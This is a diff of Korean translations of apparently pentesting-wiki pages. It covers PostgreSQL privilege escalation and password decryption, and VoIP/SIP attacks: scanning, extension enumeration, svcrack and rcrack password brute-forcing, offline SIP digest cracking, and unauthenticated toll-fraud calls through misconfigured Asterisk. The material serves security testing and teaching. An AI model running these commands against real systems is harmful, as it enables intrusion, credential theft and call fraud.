[**문서에서 설명한 것**](https://www.postgresql.org/docs/current/sql-createfunction.html)과 같이, **SECURITY DEFINER가 지정된 함수는** 해당 함수를 **소유한 사용자의 권한으로 실행**됩니다. 따라서, 함수가 **SQL Injection에 취약**하거나 **공격자가 제어하는 매개변수로 권한이 필요한 작업을 수행**하는 경우, postgres 내에서 **권한 상승이 가능**할 수 있습니다.
|
||||
[**문서에서 설명한 것**](https://www.postgresql.org/docs/current/sql-createfunction.html)과 같이, **SECURITY DEFINER가 있는 함수는** 해당 **소유자의 권한으로 실행**됩니다. 따라서, 함수가 **SQL Injection에 취약하거나 공격자가 제어하는 매개변수로 권한이 있는 작업을 수행**하는 경우, **포스트그레스 내에서 권한 상승을 악용**할 수 있습니다.
|
||||
|
||||
이전 코드의 4번째 줄에서 함수에 **SECURITY DEFINER** 플래그가 지정되어 있는 것을 확인할 수 있습니다.
|
||||
이전 코드의 4번째 줄에서 함수에 **SECURITY DEFINER** 플래그가 있는 것을 확인할 수 있습니다.
|
||||
```sql
|
||||
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
|
||||
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
|
||||
|
@ -741,8 +720,8 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
|
||||
### PL/pgSQL을 사용한 패스워드 브루트포스
|
||||
|
||||
**PL/pgSQL**은 SQL보다 더 많은 절차적 제어를 제공하는 **완전한 기능을 갖춘 프로그래밍 언어**입니다. 이는 **루프** 및 다른 **제어 구조**를 사용하여 프로그램 논리를 향상시킬 수 있습니다. 또한 **SQL 문** 및 **트리거**는 **PL/pgSQL 언어**를 사용하여 생성된 함수를 호출할 수 있습니다. 이 통합을 통해 데이터베이스 프로그래밍 및 자동화에 대해 더 포괄적이고 다양한 접근 방식을 제공합니다.\
|
||||
**이 언어를 남용하여 PostgreSQL에 사용자 자격 증명을 브루트포스하도록 요청할 수 있습니다.**
|
||||
**PL/pgSQL**은 SQL보다 더 많은 절차적 제어를 제공하는 **완전한 기능을 갖춘 프로그래밍 언어**입니다. 이를 통해 **루프** 및 다른 **제어 구조**를 사용하여 프로그램 논리를 향상시킬 수 있습니다. 또한 **SQL 문** 및 **트리거**는 **PL/pgSQL 언어**를 사용하여 생성된 함수를 호출할 수 있습니다. 이 통합을 통해 데이터베이스 프로그래밍 및 자동화에 대해 더 포괄적이고 다양한 접근 방식을 사용할 수 있습니다.\
|
||||
**이 언어를 남용하여 PostgreSQL에 사용자 자격 증명을 브루트포스하도록 할 수 있습니다.**
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
|
||||
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
|
@ -751,7 +730,7 @@ WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
|
|||
### 내부 PostgreSQL 테이블 덮어쓰기를 통한 권한 상승
|
||||
|
||||
{% hint style="info" %}
|
||||
다음 권한 상승 벡터는 모든 단계를 중첩된 SELECT 문을 통해 수행할 수 있기 때문에 제한된 SQLi 컨텍스트에서 특히 유용합니다.
|
||||
다음 권한 상승 벡터는 제한된 SQLi 컨텍스트에서 특히 유용하며 모든 단계를 중첩된 SELECT 문을 통해 수행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
만약 **PostgreSQL 서버 파일을 읽고 쓸 수 있다면**, 내부 `pg_authid` 테이블과 관련된 PostgreSQL 온디스크 파일노드를 덮어쓰는 것으로 **슈퍼유저가 될 수 있습니다**.
|
||||
|
@ -788,11 +767,11 @@ sudo service postgresql restart
|
|||
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
|
||||
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
|
||||
```
|
||||
그럼, **서비스를 다시 시작**하십시오.
|
||||
그런 다음 **서비스를 다시 시작**하십시오.
|
||||
|
||||
### pgadmin
|
||||
|
||||
[pgadmin](https://www.pgadmin.org)은 PostgreSQL의 관리 및 개발 플랫폼입니다.\
|
||||
[pgadmin](https://www.pgadmin.org)은 PostgreSQL을 위한 관리 및 개발 플랫폼입니다.\
|
||||
_**pgadmin4.db**_ 파일 내에서 **암호**를 찾을 수 있습니다.\
|
||||
해당 암호는 [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) 스크립트 내의 _**decrypt**_ 함수를 사용하여 복호화할 수 있습니다.
|
||||
```bash
|
||||
|
@ -803,6 +782,6 @@ string pgadmin4.db
|
|||
```
|
||||
### pg\_hba
|
||||
|
||||
PostgreSQL에서 클라이언트 인증은 **pg\_hba.conf**라는 구성 파일을 통해 관리됩니다. 이 파일에는 각각 연결 유형, 클라이언트 IP 주소 범위 (해당하는 경우), 데이터베이스 이름, 사용자 이름 및 일치하는 연결에 사용할 인증 방법을 지정하는 일련의 레코드가 포함되어 있습니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증이 실패하면 대체 또는 백업이 없습니다. 일치하는 레코드가 없으면 액세스가 거부됩니다.
|
||||
포스트그리SQL에서 클라이언트 인증은 **pg\_hba.conf**라는 구성 파일을 통해 관리됩니다. 이 파일에는 각각 연결 유형, 클라이언트 IP 주소 범위 (해당하는 경우), 데이터베이스 이름, 사용자 이름 및 일치하는 연결에 사용할 인증 방법을 지정하는 일련의 레코드가 포함되어 있습니다. 연결 유형, 클라이언트 주소, 요청된 데이터베이스 및 사용자 이름과 일치하는 첫 번째 레코드가 인증에 사용됩니다. 인증이 실패하면 대체 또는 백업이 없습니다. 일치하는 레코드가 없으면 액세스가 거부됩니다.
|
||||
|
||||
pg\_hba.conf에서 사용 가능한 암호 기반 인증 방법은 **md5**, **crypt**, **password**입니다. 이러한 방법은 암호가 전송되는 방식에 따라 MD5 해싱, crypt 암호화 또는 일반 텍스트로 다릅니다. 중요한 점은 crypt 방법은 pg\_authid에서 암호화된 암호와 함께 사용할 수 없다는 것입니다.
|
||||
|
|
|
@ -5,6 +5,8 @@ VoIP가 어떻게 작동하는지 배우려면 확인하세요:
|
|||
{% content-ref url="basic-voip-protocols/" %}
|
||||
[basic-voip-protocols](basic-voip-protocols/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 기본 메시지
|
||||
```
|
||||
Request name Description RFC references
|
||||
------------------------------------------------------------------------------------------------------
|
||||
|
@ -124,16 +126,16 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
|
|||
|
||||
### 전화 번호
|
||||
|
||||
레드팀이 할 수 있는 첫 번째 단계 중 하나는 OSINT 도구, Google 검색 또는 웹 페이지를 스크래핑하여 회사와 연락할 수 있는 사용 가능한 전화 번호를 검색하는 것입니다.
|
||||
레드팀이 할 수 있는 첫 번째 단계 중 하나는 OSINT 도구, Google 검색 또는 웹 페이지를 스크래핑하여 회사와 연락할 수 있는 전화 번호를 찾는 것입니다.
|
||||
|
||||
전화 번호를 확보한 후 온라인 서비스를 사용하여 운영자를 식별할 수 있습니다:
|
||||
|
||||
- [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
||||
- [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
||||
- [https://www.whitepages.com/](https://www.whitepages.com/)
|
||||
- [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
||||
* [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr)
|
||||
* [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/)
|
||||
* [https://www.whitepages.com/](https://www.whitepages.com/)
|
||||
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
|
||||
|
||||
운영자가 VoIP 서비스를 제공하는지 여부를 파악하여 회사가 VoIP를 사용하는지 여부를 확인할 수 있습니다... 게다가, 회사가 VoIP 서비스를 고용하지 않았지만 PSTN 카드를 사용하여 자체 VoIP PBX를 전통 전화망에 연결하는 경우도 있습니다.
|
||||
운영자가 VoIP 서비스를 제공하는지 여부를 파악하여 회사가 VoIP를 사용하는지 확인할 수 있습니다... 게다가, 회사가 VoIP 서비스를 고용하지 않았지만 PSTN 카드를 사용하여 자체 VoIP PBX를 전통 전화망에 연결하는 경우도 있습니다.
|
||||
|
||||
음악이나 자동 응답과 같은 것들은 보통 VoIP가 사용 중임을 나타냅니다.
|
||||
|
||||
|
@ -171,21 +173,21 @@ inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministrati
|
|||
```
|
||||
### OSINT 정보
|
||||
|
||||
VoIP 소프트웨어를 식별하는 데 도움이 되는 다른 OSINT 열거는 Red Team에 유용할 것입니다.
|
||||
VoIP 소프트웨어를 식별하는 데 도움이 되는 다른 OSINT 열거는 레드팀에 도움이 될 것입니다.
|
||||
|
||||
### 네트워크 열거
|
||||
|
||||
- **`nmap`**은 UDP 서비스를 스캔할 수 있지만, 스캔되는 UDP 서비스의 수가 많기 때문에 이러한 종류의 서비스에 대해 매우 느리고 정확하지 않을 수 있습니다.
|
||||
- **`nmap`**은 UDP 서비스를 스캔할 수 있지만, 스캔되는 UDP 서비스의 수가 많기 때문에 이러한 유형의 서비스에서는 매우 느리고 정확하지 않을 수 있습니다.
|
||||
```bash
|
||||
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
|
||||
```
|
||||
* **`svmap`** SIPVicious에서 (`sudo apt install sipvicious`) 가져온 것: 지정된 네트워크에서 SIP 서비스를 찾을 것입니다.
|
||||
* **`svmap`** SIPVicious에서 (`sudo apt install sipvicious`): 지정된 네트워크에서 SIP 서비스를 찾습니다.
|
||||
* `svmap`은 User-Agent `friendly-scanner`를 사용하기 때문에 **차단하기 쉽습니다**, 그러나 `/usr/share/sipvicious/sipvicious`의 코드를 수정하여 변경할 수 있습니다.
|
||||
```bash
|
||||
# Use --fp to fingerprint the services
|
||||
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
|
||||
```
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 스캔은 UDP, TCP 또는 TLS를 통해 SIP 서비스를 매우 빠르게 스캔하는 도구입니다. 멀티스레드를 사용하며 대규모 네트워크 범위를 스캔할 수 있습니다. 포트 범위를 쉽게 지정하고 TCP 및 UDP를 모두 스캔하며 다른 방법을 사용할 수 있습니다(기본적으로 OPTIONS를 사용) 그리고 다른 User-Agent를 지정할 수 있습니다(그리고 더 많은 기능).
|
||||
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 스캔은 UDP, TCP 또는 TLS를 통해 SIP 서비스를 매우 빠르게 스캔하는 도구입니다. 멀티스레드를 사용하며 대규모 네트워크 범위를 스캔할 수 있습니다. 포트 범위를 쉽게 지정하고 TCP 및 UDP를 모두 스캔하며 다른 방법을 사용할 수 있습니다 (기본적으로 OPTIONS를 사용) 그리고 다른 User-Agent를 지정할 수 있습니다 (그리고 더 많은 기능).
|
||||
```bash
|
||||
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
||||
|
||||
|
@ -197,14 +199,15 @@ sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
|
|||
[!] Used threads: 200
|
||||
```
|
||||
* **metasploit**:
|
||||
* **메타스플로잇**:
|
||||
|
||||
메타스플로잇:
|
||||
```
|
||||
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
|
||||
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
|
||||
```
|
||||
#### 추가 네트워크 열거
|
||||
|
||||
PBX는 다음과 같은 다른 네트워크 서비스를 노출시킬 수도 있습니다:
|
||||
PBX는 다음과 같은 다른 네트워크 서비스를 노출할 수도 있습니다:
|
||||
|
||||
- **69/UDP (TFTP)**: 펌웨어 업데이트
|
||||
- **80 (HTTP) / 443 (HTTPS)**: 웹에서 장치 관리
|
||||
|
@ -217,29 +220,29 @@ PBX는 다음과 같은 다른 네트워크 서비스를 노출시킬 수도 있
|
|||
|
||||
### 방법 열거
|
||||
|
||||
`SIPPTS enumerate`를 사용하여 PBX에서 사용 가능한 **어떤 방법**을 찾을 수 있습니다. [**sippts**](https://github.com/Pepelux/sippts)에서 사용합니다.
|
||||
`SIPPTS enumerate`를 사용하여 PBX에서 사용할 수 있는 **어떤 방법이 있는지** 찾을 수 있습니다. [**sippts**](https://github.com/Pepelux/sippts)에서 사용합니다.
|
||||
```bash
|
||||
sippts enumerate -i 10.10.0.10
|
||||
```
|
||||
### 서버 응답 분석
|
||||
|
||||
서버가 우리에게 보내는 헤더를 분석하는 것은 매우 중요합니다. 우리가 보내는 메시지 유형 및 헤더에 따라 다릅니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하면 모든 헤더를 조작하여 맞춤 메시지를 보낼 수 있고 응답을 분석할 수 있습니다.
|
||||
우리에게 다시 보내는 서버의 헤더를 분석하는 것은 매우 중요합니다. 우리가 보내는 메시지의 유형 및 헤더에 따라 달라집니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하여 모든 헤더를 조작하고 응답을 분석할 수 있습니다.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
서버가 웹소켓을 사용하는 경우 데이터를 얻을 수도 있습니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS wssend`를 사용하면 개인화된 WS 메시지를 보낼 수 있습니다.
|
||||
또한 서버가 웹소켓을 사용하는 경우 데이터를 얻을 수도 있습니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS wssend`를 사용하여 개인화된 WS 메시지를 보낼 수 있습니다.
|
||||
```bash
|
||||
sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
||||
```
|
||||
### Extension Enumeration
|
||||
|
||||
PBX (사설 분기 교환기) 시스템의 내선은 조직이나 기업 내에서 개별 전화 라인, 장치 또는 사용자에 할당된 **고유한 내부 식별자**를 가리킵니다. 내선을 사용하면 각 사용자나 장치에 대해 개별 외부 전화 번호가 필요하지 않고도 **조직 내에서 통화를 효율적으로 라우팅**할 수 있습니다.
|
||||
PBX(사설 분기 교환) 시스템의 내선(Extensions)은 조직이나 기업 내에서 개별 전화 라인, 장치 또는 사용자에 할당된 **고유한 내부 식별자**를 가리킵니다. 내선을 사용하면 각 사용자나 장치에 대해 개별 외부 전화 번호가 필요하지 않고도 **조직 내에서 통화를 효율적으로 라우팅**할 수 있습니다.
|
||||
|
||||
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`은 무료 SIP PBX 내선 라인 스캐너입니다. 개념적으로는 **내선 범위를 추측하거나 주어진 내선 목록을 추측**함으로써 전통적인 워다이얼러와 유사하게 작동합니다.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
* **`SIPPTS exten`**은 [**sippts**](https://github.com/Pepelux/sippts)**에서:** SIPPTS exten은 SIP 서버의 내선을 식별합니다. Sipexten은 대규모 네트워크 및 포트 범위를 확인할 수 있습니다.
|
||||
* **`SIPPTS exten`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten은 SIP 서버의 내선을 식별합니다. Sipexten은 대규모 네트워크 및 포트 범위를 확인할 수 있습니다.
|
||||
```bash
|
||||
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
|
||||
```
|
||||
|
@ -257,26 +260,26 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
|
||||
### 비밀번호 브루트 포스 - 온라인
|
||||
|
||||
**PBX** 및 일부 **내선/사용자 이름**을 발견한 후 레드팀은 일반적인 비밀번호 사전을 사용하여 인증을 브루트 포스하기 위해 내선을 통해 `REGISTER` 방법을 통해 인증을 시도할 수 있습니다.
|
||||
**PBX** 및 일부 **내선/사용자 이름**을 발견한 후 레드팀은 일반적인 비밀번호 사전을 사용하여 인증을 브루트 포스하기 위해 **`REGISTER` 메소드를 통해 내선에 인증을 시도**할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**사용자 이름**이 내선과 동일할 수 있지만, 이는 PBX 시스템, 구성 및 조직의 기본 설정에 따라 다를 수 있습니다...
|
||||
|
||||
사용자 이름이 내선과 다른 경우, **사용자 이름을 알아내어 브루트 포스해야 합니다**.
|
||||
사용자 이름이 내선과 동일하지 않은 경우 **사용자 이름을 알아내어 브루트 포스해야** 합니다.
|
||||
{% endhint %}
|
||||
|
||||
* SIPVicious의 **`svcrack`** (`sudo apt install sipvicious`) : SVCrack은 PBX에서 특정 사용자 이름/내선의 비밀번호를 크랙할 수 있습니다.
|
||||
* SIPVicious의 **`svcrack`** (`sudo apt install sipvicious`) : SVCrack를 사용하면 PBX에서 특정 사용자 이름/내선의 비밀번호를 뚫을 수 있습니다.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
```
|
||||
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack은 SIP 서비스용 원격 암호 크래커입니다. Rcrack는 다양한 IP 및 포트 범위에서 여러 사용자의 암호를 테스트할 수 있습니다.
|
||||
* **`SIPPTS rcrack`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack은 SIP 서비스를 위한 원격 암호 크래커입니다. Rcrack는 다양한 IP 및 포트 범위에서 여러 사용자의 암호를 테스트할 수 있습니다.
|
||||
```bash
|
||||
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
||||
```
|
||||
* **Metasploit**:
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb)
|
||||
* [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb)
|
||||
|
||||
### VoIP 스니핑
|
||||
|
||||
|
@ -293,9 +296,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
#### SIP 자격 증명 (비밀번호 브루트포스 - 오프라인)
|
||||
|
||||
**SIP REGISTER 통신**을 더 잘 이해하기 위한 **SIP REGISTER 통신 예제**를 확인하고, **자격 증명이 전송되는 방식**을 배웁니다.
|
||||
**SIP REGISTER 통신**을 더 잘 이해하기 위해 [이 예제를 확인하십시오](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **전송되는 자격 증명**을 알아보기 위해.
|
||||
|
||||
* **`sipdump`** 및 **`sipcrack`,** **sipcrack**의 일부 (`apt-get install sipcrack`): 이러한 도구는 SIP 프로토콜 내에서 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있는 **pcap**에서 정보를 추출할 수 있습니다.
|
||||
* **`sipdump`** 및 **`sipcrack`,** **sipcrack**의 일부 (`apt-get install sipcrack`): 이러한 도구는 SIP 프로토콜 내에서 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있는 **pcap**에서 작동합니다.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
|
@ -308,13 +311,13 @@ sippts dump -f capture.pcap -o data.txt
|
|||
```bash
|
||||
sippts dcrack -f data.txt -w wordlist/rockyou.txt
|
||||
```
|
||||
* **`SIPPTS tshark`**은 [**sippts**](https://github.com/Pepelux/sippts)**에서 온 것:** SIPPTS tshark는 PCAP 파일에서 SIP 프로토콜의 데이터를 추출합니다.
|
||||
* **`SIPPTS tshark`**은 [**sippts**](https://github.com/Pepelux/sippts)**에서 제공하는 도구**입니다:** SIPPTS tshark는 PCAP 파일에서 SIP 프로토콜의 데이터를 추출합니다.
|
||||
```bash
|
||||
sippts tshark -f capture.pcap [-filter auth]
|
||||
```
|
||||
#### DTMF 코드
|
||||
|
||||
네트워크 트래픽에서는 SIP 자격 증명 뿐만 아니라 **DTMF 코드**도 발견할 수 있습니다. 이 코드는 예를 들어 **음성 메일에 액세스**하는 데 사용됩니다.\
|
||||
네트워크 트래픽에서는 SIP 자격 증명 뿐만 아니라 **음성 사서함**에 액세스하는 데 사용되는 DTMF 코드도 발견할 수 있습니다.\
|
||||
이러한 코드를 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에 전송할 수 있습니다. RTP 패킷 내에 코드가 포함되어 있는 경우 대화의 해당 부분을 잘라내어 도구 multimo를 사용하여 추출할 수 있습니다:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
|
@ -326,15 +329,15 @@ Asterisk에서는 **특정 IP 주소** 또는 **모든 IP 주소**로부터의
|
|||
host=10.10.10.10
|
||||
host=dynamic
|
||||
```
|
||||
만약 IP 주소가 지정된다면, 호스트는 주기적으로 REGISTER 요청을 보낼 필요가 없습니다 (REGISTER 패킷에는 일반적으로 30분인 TTL이 포함되어 있으며, 다른 시나리오에서는 전화기가 30분마다 REGISTER해야 합니다). 그러나 VoIP 서버로부터의 통화를 받기 위해 연결을 허용하는 열린 포트가 필요합니다.
|
||||
만약 IP 주소가 지정된다면, 호스트는 주기적으로 REGISTER 요청을 보낼 필요가 없을 것입니다 (REGISTER 패킷에는 일반적으로 30분인 TTL이 포함되어 있으며, 다른 시나리오에서는 전화기가 30분마다 REGISTER해야 합니다). 그러나 VoIP 서버로부터의 통화를 받기 위해 연결을 허용하는 열린 포트가 필요할 것입니다.
|
||||
|
||||
사용자를 정의하는 방법은 다음과 같습니다:
|
||||
|
||||
- **`type=user`**: 사용자는 사용자로서만 통화를 받을 수 있습니다.
|
||||
- **`type=friend`**: 피어로 통화를 수행하고 사용자로서 통화를 받을 수 있습니다 (확장과 함께 사용됨).
|
||||
- **`type=peer`**: 피어로 통화를 보내고 받을 수 있습니다 (SIP 트렁크).
|
||||
- **`type=user`**: 사용자는 사용자로써 통화를 받을 수 있습니다.
|
||||
- **`type=friend`**: 피어로 통화를 수행하고 사용자로써 통화를 받을 수 있습니다 (확장과 함께 사용됨)
|
||||
- **`type=peer`**: SIP 트렁크로써 통화를 보내고 받을 수 있습니다.
|
||||
|
||||
또한 보안이 취약한 변수를 사용하여 신뢰를 설정할 수 있습니다:
|
||||
또한 보안이 취약한 변수를 통해 신뢰를 설정할 수 있습니다:
|
||||
|
||||
- **`insecure=port`**: IP로 인증된 피어 연결을 허용합니다.
|
||||
- **`insecure=invite`**: INVITE 메시지에 대한 인증이 필요하지 않습니다.
|
||||
|
@ -351,13 +354,13 @@ host=dynamic
|
|||
|
||||
### 무료 통화 / Asterisk 컨텍스트 잘못 구성
|
||||
|
||||
Asterisk에서 **컨텍스트**는 다이얼 플랜 내에서 **관련된 익스텐션, 액션 및 규칙을 그룹화하는** 이름이 지정된 컨테이너 또는 섹션입니다. 다이얼 플랜은 Asterisk 시스템의 핵심 구성 요소로, **들어오는 통화와 나가는 통화가 처리되고 경로 지정되는 방식을 정의**합니다. 컨텍스트는 다이얼 플랜을 구성하고, 액세스 제어를 관리하며, 시스템의 서로 다른 부분 간에 분리를 제공하기 위해 사용됩니다.
|
||||
Asterisk에서 **컨텍스트**는 다음을 그룹화하는 이름이 지정된 컨테이너 또는 섹션으로, 다이얼 플랜의 핵심 구성 요소입니다. 다이얼 플랜은 Asterisk 시스템의 핵심 구성 요소로, **들어오는 통화와 나가는 통화가 처리되고 경로 지정되는 방식을 정의**합니다. 컨텍스트는 다이얼 플랜을 구성하고, 액세스 제어를 관리하며, 시스템의 서로 다른 부분 간에 분리를 제공하기 위해 사용됩니다.
|
||||
|
||||
각 컨텍스트는 일반적으로 **`extensions.conf`** 파일에 정의됩니다. 컨텍스트는 대괄호로 표시되며, 컨텍스트 이름이 그 안에 포함됩니다. 예를 들면:
|
||||
```bash
|
||||
csharpCopy code[my_context]
|
||||
```
|
||||
내부 컨텍스트에서는 확장 기능(다이얼 번호 패턴)을 정의하고 해당 기능을 일련의 작업이나 응용 프로그램과 연결합니다. 이러한 작업은 통화가 처리되는 방식을 결정합니다. 예를 들어:
|
||||
다이얼된 번호의 패턴을 정의하고 해당 번호 패턴과 일련의 작업 또는 응용 프로그램을 연결합니다. 이러한 작업은 통화가 처리되는 방식을 결정합니다. 예를 들어:
|
||||
```scss
|
||||
[my_context]
|
||||
exten => 100,1,Answer()
|
||||
|
@ -385,9 +388,9 @@ include => external
|
|||
게다가, 기본적으로 **`sip.conf`** 파일에는 **`allowguest=true`**가 포함되어 있으므로, **인증 없이** **어떤** 공격자도 다른 번호로 전화를 걸 수 있게 될 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite는 **인증 없이 PBX 서버에서 전화를 걸 수 있는지 확인**합니다. SIP 서버가 잘못된 구성을 가지고 있다면, 외부 번호로 전화를 걸 수 있게 할 것입니다. 또한 호출을 두 번째 외부 번호로 전달할 수 있게 할 수도 있습니다.
|
||||
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite는 **인증 없이 통화를 할 수 있는지 PBX 서버를 확인**합니다. SIP 서버가 잘못된 구성을 가지고 있다면, 외부 번호로 전화를 걸 수 있게 해줄 것입니다. 또한 통화를 두 번째 외부 번호로 전달할 수 있게 해줄 수도 있습니다.
|
||||
|
||||
예를 들어, Asterisk 서버의 컨텍스트 구성이 잘못되어 있으면 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못해도 전화를 걸 수 있습니다.
|
||||
예를 들어, Asterisk 서버의 잘못된 컨텍스트 구성이 있다면, 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우, 공격자는 어떤 사용자/비밀번호도 알지 못한 채 전화를 걸 수 있습니다.
|
||||
```bash
|
||||
# Trying to make a call to the number 555555555 (without auth) with source number 200.
|
||||
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
|
||||
|
@ -399,17 +402,17 @@ sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
|
|||
|
||||
### 무료 통화 / 잘못 구성된 IVRS
|
||||
|
||||
IVRS는 **Interactive Voice Response System**의 약자로, 사용자가 음성 또는 터치톤 입력을 통해 컴퓨터화된 시스템과 상호 작용할 수 있는 전화 기술을 의미합니다. IVRS는 정보 제공, 전화 라우팅, 사용자 입력 캡처 등 다양한 기능을 제공하는 **자동화된 통화 처리** 시스템을 구축하는 데 사용됩니다.
|
||||
IVRS는 **대화형 음성 응답 시스템(Interactive Voice Response System)**을 나타내며, 사용자가 음성 또는 터치톤 입력을 통해 컴퓨터화된 시스템과 상호 작용할 수 있는 전화 기술입니다. IVRS는 정보 제공, 전화 라우팅, 사용자 입력 캡처 등 다양한 기능을 제공하는 **자동화된 통화 처리** 시스템을 구축하는 데 사용됩니다.
|
||||
|
||||
VoIP 시스템의 IVRS는 일반적으로 다음과 같은 구성 요소로 구성됩니다:
|
||||
VoIP 시스템의 IVRS는 일반적으로 다음을 포함합니다:
|
||||
|
||||
1. **음성 프롬프트**: 사용자를 IVR 메뉴 옵션 및 지시 사항을 안내하는 미리 녹음된 오디오 메시지.
|
||||
2. **DTMF** (Dual-Tone Multi-Frequency) 신호: 전화기의 키를 눌러 생성된 터치톤 입력으로, IVR 메뉴를 탐색하고 입력을 제공하는 데 사용됩니다.
|
||||
3. **통화 라우팅**: 사용자 입력에 기반하여 특정 부서, 에이전트 또는 내선으로 전화를 연결하는 것.
|
||||
4. **사용자 입력 캡처**: 계정 번호, 사례 ID 또는 기타 관련 데이터와 같은 콜러로부터 정보 수집.
|
||||
5. **외부 시스템과의 통합**: IVR 시스템을 데이터베이스 또는 다른 소프트웨어 시스템에 연결하여 정보에 액세스하거나 업데이트하거나 작업을 수행하거나 이벤트를 트리거하는 것.
|
||||
1. **음성 프롬프트(Voice prompts)**: 사용자를 IVR 메뉴 옵션 및 지시사항을 통해 안내하는 미리 녹음된 오디오 메시지.
|
||||
2. **DTMF(Dual-Tone Multi-Frequency) 신호**: 전화기의 키를 눌러 생성된 터치톤 입력으로, IVR 메뉴를 탐색하고 입력을 제공하는 데 사용됩니다.
|
||||
3. **통화 라우팅(Call routing)**: 사용자 입력에 기반하여 특정 부서, 에이전트 또는 내선과 같은 적절한 대상으로 전화를 연결하는 것.
|
||||
4. **사용자 입력 캡처(User input capture)**: 전화하는 사람으로부터 계정 번호, 사례 ID 또는 기타 관련 데이터를 수집하는 것.
|
||||
5. **외부 시스템과의 통합(Integration with external systems)**: IVR 시스템을 데이터베이스 또는 다른 소프트웨어 시스템에 연결하여 정보에 액세스하거나 업데이트하거나 작업을 수행하거나 이벤트를 트리거하는 것.
|
||||
|
||||
